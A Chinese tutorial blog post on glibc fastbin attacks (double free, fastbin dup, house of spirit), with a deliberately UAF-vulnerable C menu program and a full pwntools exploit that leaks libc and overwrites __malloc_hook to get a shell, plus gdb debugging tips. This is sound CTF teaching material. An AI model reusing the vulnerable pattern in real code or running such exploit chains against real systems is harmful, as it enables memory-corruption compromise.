news 2026/9/15 2:56:00

fastbin attack入门:从glibc堆管理到UAF利用链实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
fastbin attack入门:从glibc堆管理到UAF利用链实战

提到 fastbin attack,很多刚开始接触堆利用的读者第一反应是:又要学 malloc 源码、又要懂 bin 链,还没开始就放弃了。但我一直认为,fastbin attack 恰恰是堆利用里最值得先吃透的入门知识点,它的核心不过是一条单向链表的插头、拔头操作。这篇文章我会从 glibc 堆管理器对 fastbin 的信任逻辑讲起,把 double free、fastbin dup、house of spirit 这几条经典路线拆开,再用一个带 UAF 漏洞的完整题目走一遍从泄露 libc 到拿到 shell 的利用链。无论你是刚开始学 pwn 的新手,还是想系统补一下堆利用基础的老手,这篇文章都适合照着边读边调。

1. fastbin attack到底在攻击什么:从glibc堆管理的基本盘说起

1.1 fastbin在堆管理器里的“身份”

glibc 的 malloc 为了减少系统调用、提高小块内存的分配效率,引入了多级缓存机制。fastbin 就是其中最靠近用户层的一级,专门管理尺寸比较小的 chunk。在 64 位环境下,fastbin 覆盖的 chunk 实际大小通常是 0x20 到 0x80,也就是我们调用malloc(0x10)malloc(0x70)时,最终分配出来的用户可用区间加上 chunk 头之后落入的这个范围。

fastbin 的每个桶都是一个单向链表,插入和取出都发生在链表头部,也就是典型的 LIFO(后进先出)行为。当我们free一个 small chunk 时,glibc 会把这块内存的fd字段指向当前 fastbin 的链表头,然后把链表头更新为当前这块内存;当我们再次malloc同样大小的内存时,就直接把链表头那块内存拿出来返回给用户,链表头更新为它的fd。整个过程不需要遍历链表,不需要检查链表里的其它节点,速度非常快。

正是这种“完全相信链表头指针”的设计,给 fastbin attack 提供了土壤。攻击者只要能控制某个 fastbin 链表头的fd字段,就相当于控制了下一次malloc要返回的地址。

1.2 为什么fastbin这么好骗:两条关键规则

第一次看堆利用的人往往会问:glibc 不是有 double free 检测吗?不是会校验 chunk 合法性吗?为什么 fastbin attack 还能成立?

答案藏在两条关键规则里。

第一条:fastbin 的 double free 检查只检查链表头。在 glibc 2.23 版本中,_int_free对 fastbin 的处理大致是:

if (old != NULL && old == p) errstr = "double free or corruption (fasttop)";

也就是说,它只判断当前要释放的 chunkp是不是已经是 fastbin 的链表头。如果链表头是另一个 chunk,那么这次free就会放行。这就是经典的free(A); free(B); free(A);为什么能绕过检查的原因——第二次 free A 的时候,链表头是 B,不是 A,检查不触发。

第二条:malloc 分配时,只校验目标位置的 size 字段是否匹配当前的 fastbin 索引,不会校验这个地址是不是真的属于堆,也不会校验这个地址是否可写。_int_malloc在从 fastbin 取 chunk 时,会对拿到的地址做一次chunksize_nomask校验,但只要你伪造出一个合理的 size,它就会把这块地址直接返回给用户。这也意味着我们可以让malloc返回任意可控地址。

这两条规则合在一起,就是 fastbin attack 的全部底层逻辑:通过 double free 或 UAF 操纵链表头,让链表头指向伪造的内存地址,再通过 malloc 把这个假地址“分配”出来。

1.3 用一个“火车车厢”的类比把链表机制刻进脑子

我在给别人讲 fastbin 的时候,喜欢把它比作一列火车车厢的挂接和摘取。

你手里有一列车厢队列,每次free就相当于在车头位置挂上一节新车厢,每次malloc就相当于从车头位置摘下一节车厢。fastbin 只认车头,不关心车厢后面还挂着什么。

正常情况下,这列车的每一节车厢都是系统分配好的。但 fastbin attack 干的事情,就是偷偷把某一节车厢的“挂钩”(也就是 fd 指针)改到一根不属于这列火车的轨道上,比如改到栈上、改到 libc 的某个全局变量附近。下一次malloc从车头摘车厢时,摘到的就是我们指定的那块假地址,随后我们就能往这个地址里写入任意数据。

这个类比能帮你记住两件事:第一,攻击的本质是控制链表头;第二,你改写的永远是某个 chunk 的fd字段,而这个字段就是链表中的“下一个节点指针”。

2. 三种最常用的fastbin attack套路拆解

2.1 double free:让同一个堆块被领走两次

double free 是整个 fastbin attack 的基础操作,在堆利用里几乎绕不开。它要解决的问题是:怎么让一个已经被释放的 chunk 再次出现在 fastbin 链表中,从而让后续的 malloc 把同一块内存返回两次。

标准的构造方式是先申请两个相同大小的 chunk,记作 A 和 B,然后依次free(A); free(B); free(A);。结合上一节的检查逻辑,我们来盘一下链表的变化:

  1. free(A):链表变成A -> NULL,链表头是 A。
  2. free(B):B 的 fd 指向 A,链表变成B -> A -> NULL,链表头是 B。
  3. free(A):此时链表头是 B,不是 A,double free 检查绕过。A 的 fd 被更新为 B,链表变成A -> B -> A -> B ...,形成环。

这个时候如果连续malloc三次,会依次拿到 A、B、A,也就是说 A 被分配了两次,两个指针同时指向同一块内存。拿到两个指向同一块内存的指针之后,就可以通过其中一个指针进行读写,而这通常就会形成 UAF(Use After Free)或者任意地址读写的条件。

最常见的应用是:先 malloc 一次拿到 A,立刻通过这个指针修改 A 的 fd 为攻击目标地址,然后继续 malloc 两次,第三次就会返回目标地址。

2.2 fastbin dup:让fd指向哪,malloc就回到哪

fastbin dup 是 double free 的进阶用法,英文里也叫 fastbin dup into stack / arbitrary alloc。核心就一句话:你往 fd 里写入什么地址,下一次 malloc 就返回什么地址。

有一个非常容易踩的坑是地址偏移问题。fastbin 链表里保存的指针是 chunk 头地址,而 malloc 返回给用户的是 chunk 头往后的数据区地址,两者在 64 位下相差 0x10 字节。所以如果你想让 malloc 返回一个target地址给用户,你需要把 fd 改成target - 0x10,这样 malloc 内部把 chunk 头当成内存块起始点,返回给用户的是chunk 头 + 0x10,正好落在 target 上。

举一个例子。假设我们利用 double free 构造出 A 的 fd 可控,接下来:

  1. 通过某个指针编辑 A,把 A 的 fd 改写成target - 0x10。此时 fastbin 链表为A -> (target-0x10) ...
  2. 第一次malloc,返回 A,同时链表头变成target-0x10
  3. 第二次malloc,返回 target,我们拿到了指向目标地址的“堆指针”。

拿到这个指针之后,能做什么就取决于 target 选在哪。最经典的选点是__malloc_hook附近,因为改写__malloc_hook为 one_gadget 后,下一次malloc就会触发system("/bin/sh")。除此之外,也可以把 target 选在栈上、.bss段或者某个全局结构体上,核心思路都是一样的。

2.3 house of spirit:在栈上无中生有

如果说 double free 和 fastbin dup 是“改链表”,那 house of spirit 就是“造链表”。它的思路是:在某个非堆内存区域(比如栈或全局变量)伪造一个完全合法的 chunk,然后把这个地址交给 free,让它进入 fastbin,最后再用 malloc 把它分配出来。

伪造的关键是构造出合法的 chunk 头。在 64 位下,chunk 头包含两个 8 字节字段:prev_sizesize。free 进入 fastbin 时,glibc 会检查size是否落在 fastbin 范围内,以及地址是否按 8 字节对齐。只要满足这两个条件,它就会把这个“假 chunk”插入 fastbin 链表。

一个典型的栈上伪造流程如下:

unsigned long long fake_chunk[4]; fake_chunk[0] = 0; // prev_size fake_chunk[1] = 0x60; // size,必须落在 fastbin 范围内 free(&fake_chunk); // 让 glibc 把这个地址当成 chunk 头 malloc(0x50); // 此时 malloc 返回的就是 &fake_chunk

这里要注意,free(&fake_chunk)中的&fake_chunk会被当作 chunk 头地址,它的size字段必须放在fake_chunk + 8的位置。在真正的题目里,house of spirit 通常用来把栈上的数据区域变成可控堆块,然后进一步改写返回地址或者局部变量。它和 fastbin dup 的核心思想完全一致:fastbin 信任你提供的地址,只要是看起来合理的 chunk,它就敢用。

3. 从原理到实战:一次fastbin attack的完整利用Demo

3.1 搭一个带UAF漏洞的pwn题

理论讲再多,不如完整打一遍。这里我用一个特别常见的小程序模板,功能是 add、delete、edit、show,漏洞点就是 delete 之后没有把指针置空,导致 UAF。这是堆题里的经典原型。

#include <stdio.h> #include <stdlib.h> #include <unistd.h> void *ptr[16]; size_t sz[16]; void add() { int idx = 0; while (idx < 16 && ptr[idx]) idx++; if (idx == 16) exit(0); printf("size: "); scanf("%lu", &sz[idx]); ptr[idx] = malloc(sz[idx]); } void del() { int idx; printf("idx: "); scanf("%d", &idx); if (idx < 0 || idx >= 16 || !ptr[idx]) exit(0); free(ptr[idx]); // 漏洞:ptr[idx] 没有置空 } void edit() { int idx; printf("idx: "); scanf("%d", &idx); if (idx < 0 || idx >= 16 || !ptr[idx]) exit(0); printf("content: "); read(0, ptr[idx], sz[idx]); } void show() { int idx; printf("idx: "); scanf("%d", &idx); if (idx < 0 || idx >= 16 || !ptr[idx]) exit(0); write(1, ptr[idx], sz[idx]); } int main() { setbuf(stdout, NULL); int cmd; while (1) { printf("1.add 2.del 3.edit 4.show\n> "); scanf("%d", &cmd); if (cmd == 1) add(); else if (cmd == 2) del(); else if (cmd == 3) edit(); else if (cmd == 4) show(); else break; } return 0; }

漏洞触发点很好找:del()只调用了free(ptr[idx]),没有把数组里的指针置空。所以释放之后,我们依然可以通过editshow读写这块已经被释放的内存。这个 UAF 条件足以支撑一次完整的 fastbin attack。

3.2 利用链总览:从泄露libc到改写__malloc_hook

在 glibc 2.23 环境(Ubuntu 16.04 默认版本)下,这次利用的目标是把__malloc_hook改成 one_gadget,然后触发一次malloc拿 shell。

整体利用链分成五步:

  1. 通过 unsorted bin 泄露 libc 基址。申请一个大小超过 fastbin 范围的 chunk(比如malloc(0x80),实际 chunk size 为 0x90),释放后它会进入 unsorted bin,fd 和 bk 指向main_arena+88。由于存在 UAF,我们直接show这个已释放的 chunk,就能读出这个内核地址。
  2. 申请两个 0x60 的 chunk,构造free(A); free(B); free(A);,让 fastbin 链表形成A -> B -> A -> ...的环。
  3. 申请一次,返回 A,通过编辑 A 把 A 的 fd 改写为__malloc_hook - 0x23
  4. 连续申请两次,第二次返回__malloc_hook - 0x23,利用这个指针覆盖__malloc_hook为 one_gadget。
  5. 再次add,触发malloc,one_gadget 执行,获得 shell。

为什么攻击目标选__malloc_hook - 0x23,而不是直接选__malloc_hook?这是第 5 部分要细讲的 size 校验问题,先记住结论:这个地址附近刚好存在一个合法的伪 size0x7f,能匹配 fastbin 的 0x70 桶。

3.3 完整exp逐段讲解

下面是完整 exp,使用 pwntools 编写,环境为 glibc 2.23。请注意,libc 偏移在不同版本里会变,注释里我会标注哪些需要按本地环境调整。

from pwn import * context.arch = 'amd64' context.log_level = 'info' p = process('./pwn') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def add(size): p.sendlineafter(b'> ', b'1') p.sendlineafter(b'size: ', str(size).encode()) def delete(idx): p.sendlineafter(b'> ', b'2') p.sendlineafter(b'idx: ', str(idx).encode()) def edit(idx, data): p.sendlineafter(b'> ', b'3') p.sendlineafter(b'idx: ', str(idx).encode()) p.sendafter(b'content: ', data) def show(idx, size): p.sendlineafter(b'> ', b'4') p.sendlineafter(b'idx: ', str(idx).encode()) return p.recvn(size) # ---------- step 1: leak libc via unsorted bin ---------- add(0x80) # idx 0,实际 chunk size 0x90,进入 unsorted bin add(0x10) # idx 1,隔离 top chunk,防止 free 后合并 delete(0) data = show(0, 0x80) unsorted_leak = u64(data[:8]) log.info(f'unsorted bin leak: {hex(unsorted_leak)}') # 在 glibc 2.23 中,unsorted bin 的 fd 指向 main_arena+88, # 而 main_arena 一般位于 __malloc_hook + 0x10 的位置。 # 实际偏移建议先用 gdb 确认,这里用常见的 +0x68 关系计算。 libc.address = unsorted_leak - (libc.sym['__malloc_hook'] + 0x68) log.info(f'libc base: {hex(libc.address)}') # ---------- step 2: build fastbin double free ring ---------- add(0x60) # idx 2,chunk A,实际 chunk size 0x70 add(0x60) # idx 3,chunk B delete(2) delete(3) delete(2) # 形成 A -> B -> A -> ... 环 # ---------- step 3: overwrite fd to __malloc_hook - 0x23 ---------- add(0x60) # idx 4,返回 A fake_chunk = libc.sym['__malloc_hook'] - 0x23 edit(4, p64(fake_chunk)) # 把 A 的 fd 改成目标地址 # ---------- step 4: allocate target and patch __malloc_hook ---------- add(0x60) # idx 5,返回 B add(0x60) # idx 6,返回 fake_chunk one_gadget = libc.address + 0x4527a # 根据当前 libc 的 one_gadget 选择 # fake_chunk 的数据区从 fake_chunk+0x10 开始, # 也就是 __malloc_hook - 0x13 的位置。填充 0x13 字节后覆盖 __malloc_hook。 payload = b'a' * 0x13 + p64(one_gadget) edit(6, payload) # ---------- step 5: trigger ---------- add(0x10) p.interactive()

这段 exp 有几个地方需要特别说明。

第一,泄漏 libc 时,show(0, 0x80)会输出 0x80 字节,但我们只取前 8 字节就够了。前 8 字节是 fd,指向main_arena+88,而 fd 的低 6 字节是 libc 内的偏移,高位是0x7f,所以u64(data[:8])可以直接解出地址。

第二,libc.address的偏移计算依赖具体 libc 版本。在上面的例子中,我用的是unsorted_leak - (libc.sym['__malloc_hook'] + 0x68),这个公式在 glibc 2.23 的常见版本里成立。如果在你的环境里不对,最简单的方法是在 gdb 里分别查看 unsorted leak 的值和 libc 基址,算出差 值后写死。

第三,one_gadget的选择同样依赖具体 libc。你可以在本地用 one_gadget 工具打印出所有可用的 gadget,如果0x4527a的约束条件不满足,换一个即可。如果所有 one_gadget 在当前寄存器状态下都不满足,通常要考虑用realloc_hook来做栈迁移调整,这个属于进阶内容,入门阶段先用简单的即可。

第四,fake_chunk写 fd 的时候,实际写入位置是 A 被释放后的数据区(也就是 A 的 fd 字段)。为什么malloc第三次会返回fake_chunk?因为 malloc 从 fastbin 取 chunk 时,每次都会读取链表头的 fd 作为下一次的链表头。我们把 A 的 fd 改成 fake_chunk 后,链表就变成了A -> fake_chunk -> ...,第三次 malloc 自然就取到了 fake_chunk。

3.4 在gdb里盯着fastbin链表的变化

我强烈建议你在跑 exp 的时候,同时用 pwndbg 观察 fastbin 链表的变化,这比看任何文章都直观。下面是我常用的调试姿势。

程序启动后,先用 pwndbg 运行,在freemallocedit这三个函数上下断点。每次执行完关键操作,用heap bins fastbin查看当前 fastbin 链表状态。

在构造完delete(2); delete(3); delete(2);之后,heap bins fastbin的输出大概是这样的:

pwndbg> heap bins fastbin fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x555555559750 -> 0x555555559710 -> 0x555555559750 (overlap!)

看到(overlap!)这个标记,就说明 fastbin 链表已经形成环,double free 成功。

改写 A 的 fd 之后,再执行heap bins fastbin,链表头会变成0x555555559750 -> 0x7ffff7dd1b5d这样,后面的地址不再是堆内地址,而是我们写入的 fake_chunk。到这一步,整个 fastbin attack 的链路已经打通,剩下的就是着手写 payload 了。

另外,pwndbg 还提供一个非常好用的命令:find_fake_fast __malloc_hook。它会在__malloc_hook附近自动搜索可作为伪 size 的地址,并提示你应该把 fake_chunk 选在哪里。在 glibc 2.23 下,它通常能找到__malloc_hook - 0x23这个位置,也就是0x7f这个 size 的所在处。这个命令能节省大量手工查找的时间。

4. 版本更迭对fastbin attack的影响:从2.23到2.35

4.1 glibc 2.23-2.26:不怎么设防的“黄金年代”

glibc 2.23 可以说是我眼里最适合入门堆利用的版本。这个阶段 fastbin 的 double free 检测只有“是否等于链表头”这一条,malloc 对返回地址的校验也相对宽松,只要伪造一个合理的 size 就能通过。再加上__malloc_hook这个“万能后门”还完整存在,攻击面非常清晰。

很多经典堆题的默认环境就是 Ubuntu 16.04 的 glibc 2.23,比如 0ctf 2017 的 babyheap、HITCON 的 hacksyst 等。现在网上大部分 fastbin attack 的 writeup 也都是在这个版本下写出来的。所以在学习阶段,建议优先在 2.23 环境下练习,这样你能把注意力完全集中在“链表是怎么被操控的”这件事上,而不会被复杂的安全机制干扰。

4.2 tcache:让攻击更容易,也让攻击更多样

glibc 2.26 引入 tcache(thread local cache)之后,堆利用的生态发生了很大变化。tcache 本质上也是 LIFO 的单链表,但它起初几乎没有安全检查:没有 double free 检测,没有地址合法性校验。这导致 tcache poisoning 比 fastbin attack 更简单粗暴——你只需要free一个 chunk 两次,然后修改它的 fd,就能让连续两次malloc返回任意地址。

举个例子,在 glibc 2.27(Ubuntu 18.04 默认)下,利用同样大小的两个 chunk:

free(0) free(0) # tcache 不检查 double free edit(0, p64(target - 0x10)) alloc(0x10) # 第一次 malloc 返回 chunk0 本身 alloc(0x10) # 第二次 malloc 返回 target

和 fastbin 相比,这个流程少了很多绕圈操作,fd 只需要指向目标地址,不再需要精心构造A-B-A的环去绕过检测。因此在 2.27 环境下,大多数题目的正规解法都会优先考虑 tcache poisoning,而不是 fastbin attack。

但 tcache 的出现没有让 fastbin attack 失去意义。一方面,2.29 之后 tcache 加入了 key 字段来检测 double free,直接free两次会被拦下来,很多攻击者又开始回归 fastbin 的绕过思路;另一方面,fastbin attack 涉及的链表操作、size 伪造、偏移计算,是学习更新奇技巧的基石。理解 fastbin,再去理解 tcache、unsorted bin、large bin 的各种攻击,会发现它们的内核逻辑高度相似,无非是“哪个链表可以被污染、检查什么字段、怎么伪造才能骗过去”。

4.3 safe-linking之后:fastbin attack还灵不灵

glibc 2.32 引入了 safe-linking 机制,对 fastbin、tcache 等所有单链表 bin 的 fd 指针做了编码保护。编码规则是:

encoded_fd = fd ^ (pos >> 12)

pos是当前 chunk 的地址。也就是说,fd 字段里存的不是真实的链表节点地址,而是真实地址和当前 chunk 地址右移 12 位后的异或结果。攻击者如果不知道堆地址,就无法伪造出合法的 fd,直接修改 fd 会导致 malloc 崩溃。

这确实大幅提高了 fastbin attack 的门槛,但并没有让这类技术完全失效。现代版本的利用链通常需要先通过某种方式泄露堆地址,然后在写入 fd 之前计算出正确的编码值。同时,glibc 2.35 之后的版本把__malloc_hook__free_hook等符号从 libc 里移除了,传统“改 hook 拿 shell”的打法也跟着失效,大家转向了 IO_FILE 结构体、setcontext 等更复杂的利用面。

对刚入门的读者,我的建议是:不要被这些新机制吓到。你只需要把 fastbin attack 在旧版本里的原理吃透,然后在看新版本题目、遇到 safe-linking 时,多补一个“泄露堆地址并编码 fd”的意识就够了。技术是层层递进的,地基不牢,后面会更吃力。

5. 实战中最容易卡的三个环节与对应的调试姿势

5.1 目标地址的size校验:0x7f为什么能当0x70用

实战里第一次跑 exp 失败,大概率卡在同一个地方:malloc 从 fastbin 取我们伪造的 chunk 时,校验 size 不通过,直接报malloc(): memory corruption (fast)

我来拆一下这个校验的细节。在_int_malloc的 fastbin 分支里,大致逻辑是:

if (__builtin_expect(offset2size(idx) != chunksize_nomask(victim), 0)) malloc_printerr("malloc(): memory corruption (fast)");

chunksize_nomask(victim)拿到的是victim->size & ~0x0F,也就是去掉低 4 个标志位后的值。如果我们要攻击的 fastbin 是 0x70 这个桶,那么目标地址处读出来的 size 去掉低 4 位后必须等于 0x70。

所以问题变成了:在__malloc_hook附近找一个内存位置,让它的 8 字节值经过size & ~0x0F之后等于 0x70。glibc 2.23 里的经典解法是选__malloc_hook - 0x23,因为这个地址附近的字节排列中,某个 8 字节里的低位部分是0x7f0x7f & ~0x0F等于0x70,正好匹配 fastbin 的 0x70 桶。

这就是为什么我们要把 fd 写成__malloc_hook - 0x23,而不是直接写成__malloc_hook。如果你想让 fastbin 返回任意地址,一定要先去目标地址附近寻找可用的伪 size,而不是随便选一个位置硬怼。pwndbg 的find_fake_fast命令就是用来做这件事的。

5.2 调试利用链的gdb命令组合

除了前面提到的heap bins fastbinfind_fake_fast,我再分享几个实战中高频使用的 gdb 命令组合,都是我用顺手的。

  • x/20gx &__malloc_hook:查看__malloc_hook附近的内存布局,确认 one_gadget 是否成功写入。
  • b *malloc配合c:在 malloc 处下断点,观察触发__malloc_hook之前程序是否还会调用其它分配逻辑。
  • set disable-randomization on:很多人本地调试时忘记关 ASLR,导致每次断点看到的堆地址、libc 地址都在变,不利于反复练习。在 gdb 里开启这个选项,能让地址固定下来,定位问题会容易很多。
  • heap chunks:列出当前所有堆块及状态,快速判断某个 chunk 是在 fastbin 里还是已经被其它桶接管。

跑 exp 的时候,我不建议全程context.log_level = 'debug',那样输出太杂。我的习惯是先用默认级别把 exp 跑通,如果中途崩溃,再把 log 级别调到 debug,或者在崩溃点附近加gdb.attach(p),进入 gdb 去看具体哪个字段不对。

5.3 我踩过的几个典型坑

第一个坑:把 double free 的顺序搞错。free(A); free(B); free(A);free(A); free(A);完全不一样,前者能绕过检测,后者直接触发double free or corruption (fasttop)。如果程序给的是 UAF,你可以自由选择释放顺序;但如果是只能释放一次的题目,就得考虑其它方式构造 dup。

第二个坑:修改 fd 之后,链表状态并不总是如你预期。fastbin 的链表头在每次 malloc 之后都会更新,如果你在构造 dup 之后多执行了一次无关的 malloc,链表头可能被消耗掉,后面的分配就落在错误的位置。所以 exp 里对 malloc 次数的规划要精确,每一步都不要多余。

第三个坑:one_gadget 约束条件不满足。这是新手最容易困惑的地方。one_gadget 执行是有前置条件的,比如某个寄存器要为 NULL、栈上某个偏移处要为 NULL。如果条件不满足,程序直接报错或者崩溃。遇到这种情况,可以换一个 one_gadget 尝试,如果都不行,就要考虑用realloc_hook调整栈帧。不过入门阶段,建议优先选择约束条件最宽松的 one_gadget 并固定好 libc 版本。

第四个坑:本地能打通、远程打不动。通常是 libc 版本不一致导致的偏移差异,尤其是__malloc_hook + 0x68这个相对偏移和 one_gadget 的偏移值。做题之前先用libc-databaseLibcSearcher确认远程的 libc 版本,再计算偏移,能省去大量无效调试时间。

6. 从fastbin attack走出去:必经的进阶路线与练习清单

6.1 用how2heap和经典题目打底

如果你把前面的 exp 完整调通了,身份就已经从“看过原理”进阶到“动手打过一次”。接下来要做的,是把类似的知识点固化下来,形成肌肉记忆。

我推荐的学习路径是这样的:

第一,过一遍 how2heap 里和 fastbin 相关的章节,包括fastbin_dupfastbin_dup_into_stackfastbin_dup_consolidatehouse_of_spirit。这些代码仓库里的例子虽然看起来简单,但每一个都对应一类真实题目的核心逻辑。建议不要只看,而是手动编译、运行、打断点,观察链表变化。

第二,刷几道经典入门题。0ctf 2017 babyheap 是绕不开的必刷题,它综合了 fastbin attack 和 unsorted bin 泄露,完整打一遍几乎能把堆利用的基础技能全部覆盖。Hacknote 是另一个优质入门题,虽然偏 UAF,但能帮你建立“漏洞点不是 malloc/free 本身,而是程序逻辑边界”的思维。

6.2 往后的知识地图怎么画

打完 fastbin attack,接下来通常按这个顺序逐步深入:tcache poisoning、unsorted bin attack、large bin attack、House of 系列(House of orange、House of lore 等)、IO_FILE 利用、setcontext 劫持。你会发现它们处理的对象不同,但思考方式高度一致:先看这个 bin 在 malloc/free 的哪个环节做了什么,再看哪个字段是我们可控的,最后思考怎么利用这个可控字段影响控制流或内存布局。

等到你能在一道没有 given 的题目里自己识别出“这里存在 UAF,可以构造 fastbin dup”,并且能算出伪造 size 的位置,就说明你已经迈过了堆利用入门最重要的那道坎。后面的路虽然越来越难,但地基已经打牢了。

最后分享一个我自己的体会:学堆利用不要死记硬背 exp,重点是要能在 gdb 里看到每个操作对链表和内存的真实影响。fastbin attack 之所以适合入门,就是因为它足够直观、反馈足够快。你在 gdb 里盯着 fastbin 链表头一点点变化的过程,其实比看十篇文档都管用。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/15 2:55:05

基于PHP的进云jys系统源码部署、接口调试与安全加固实战

简介&#xff1a;这是一份基于PHP的进云jYS系统完整源码包&#xff0c;面向PHP后端开发者、Web全栈学习者及需要搭建云端业务管理平台的工程人员。源码实现了云服务/数据管理类系统常见的用户认证、权限控制、数据交互与接口设计等能力&#xff0c;覆盖前端展示到后端处理流程&…

作者头像 李华
网站建设 2026/9/15 2:55:00

创建大获成功的博客:定位、内容与增长的实战方法论

我做了差不多十年的内容创作&#xff0c;见过太多人一上来就注册域名、装主题、写第一篇“Hello World”&#xff0c;然后三个月后再也没打开过后台。他们缺的不是热情&#xff0c;而是没想清楚博客到底是怎么运作的。这一篇我想把“创建大获成功的博客”这件事&#xff0c;按我…

作者头像 李华
网站建设 2026/9/15 2:54:57

5G网络仿真多用户场景实战:从建模到调度算法解析

1. 多用户场景&#xff1a;从单用户思维到系统级思维的转变做5G网络仿真的人&#xff0c;刚开始最容易踩的坑&#xff0c;就是把多用户场景当成单用户场景的简单重复。我有段时间跑仿真&#xff0c;每次只模拟一个用户&#xff0c;信道质量拉满&#xff0c;资源随便分&#xff…

作者头像 李华
网站建设 2026/9/15 2:53:54

Acta凝固模拟复现指南:从KKS相场到枝晶生长的参数调优

做凝固模拟这些年&#xff0c;我最大的感触是&#xff1a;论文里的微观组织图看着漂亮&#xff0c;真要自己动手复现&#xff0c;难度远比你想象中大。尤其是Acta Materialia上的工作&#xff0c;模型框架清楚、图表精致、物理解释也到位&#xff0c;可当你对着公式一行行推、一…

作者头像 李华
网站建设 2026/9/15 2:53:43

PXE网络引导部署openEuler24.03全攻略

1. PXE部署openEuler24.03环境准备1.1 硬件与网络规划PXE部署的核心在于网络引导&#xff0c;因此对硬件和网络环境有特定要求。服务端建议使用物理机或配置较高的虚拟机&#xff0c;至少2GB内存和20GB可用磁盘空间。网络方面需要确保服务端和客户端位于同一局域网段&#xff0…

作者头像 李华